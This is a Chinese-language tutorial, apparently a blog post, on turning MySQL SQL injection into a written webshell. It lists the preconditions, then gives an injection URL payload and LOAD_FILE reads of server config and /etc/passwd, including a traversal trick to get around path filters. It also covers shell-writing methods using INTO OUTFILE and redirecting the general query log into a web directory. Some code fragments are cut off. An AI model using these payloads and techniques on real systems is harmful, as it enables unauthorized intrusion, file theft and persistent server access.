mysql写shell的一点总结
QQ群:397745473
mysql写shell的一点总结
1 | 文章来源: |
0x00 前言
利用SQL注入,当存在一定的利用条件时,我们可以利用mysql进行文件的写入,在知道网站绝对路径的情况下,可以通过这种方式写入shell。
0x01 利用条件
数据库当前用户为root权限或者至少有FILE权限
1
2
3
4
5
6
7
8
9mysql> select file_priv,user,host from mysql.user;
+-----------+------+-----------+
| file_priv | user | host |
+-----------+------+-----------+
| Y | root | localhost |
| Y | root | 127.0.0.1 |
| Y | root | ::1 |
+-----------+------+-----------+
3 rows in set (0.00 sec)知道当前网站的绝对路径
php的gpc为off状态, 在开启gpc的情况下,可以通过十六进制的路径读写文件
写入的那个路径存在写权限
secure_file_priv=''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
1 row in set (0.00 sec)
secure_file_priv可以设置如下这样进行设置:
1. 设置为空,那么对所有路径均可进行导入导出。
2. 设置为一个目录名字,那么只允许在该路径下导入导出。
3. 设置为Null,那么禁止所有导入导出。
需要在mysql的配置文件中更改:
[mysqld]
secure_file_priv=""
0x02 读取web路径
2.1 利用报错
有时候information_schema.tables
不能用时,在MySQL 5.6及以上版本中可以使用以下表
1 | ?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23 |
2.2 phpinfo
2.3 load_file读配置文件
1 | SELECT LOAD_FILE('/etc/apache2/sites-available/default'); |
有时候过滤了敏感路径可以试试这样:
1 | SELECT LOAD_FILE('/etc/otherdir/../passwd'); |
2.4 通过mysql函数和全局变量 查找mysql安装目录
1 | mysql> select @@basedir; |
@@ 用于系统变量
@ 往往用于用户定义的变量
0x03 常见方法写shell
3.1 select * into
1 | mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt'; |
3.2 基于log日志写shell法
http://sh1yan.top/2018/05/26/mysql-writ-shell/
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。
select ‘’;
查询一个一句话,这个时候log日志里就会记录这个。
set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。
set global general_log = off;
关闭下日志记录。
3.3 创建表,导出数据
其实和第一种方法差不多。
1 | use test; |
QQ群:397745473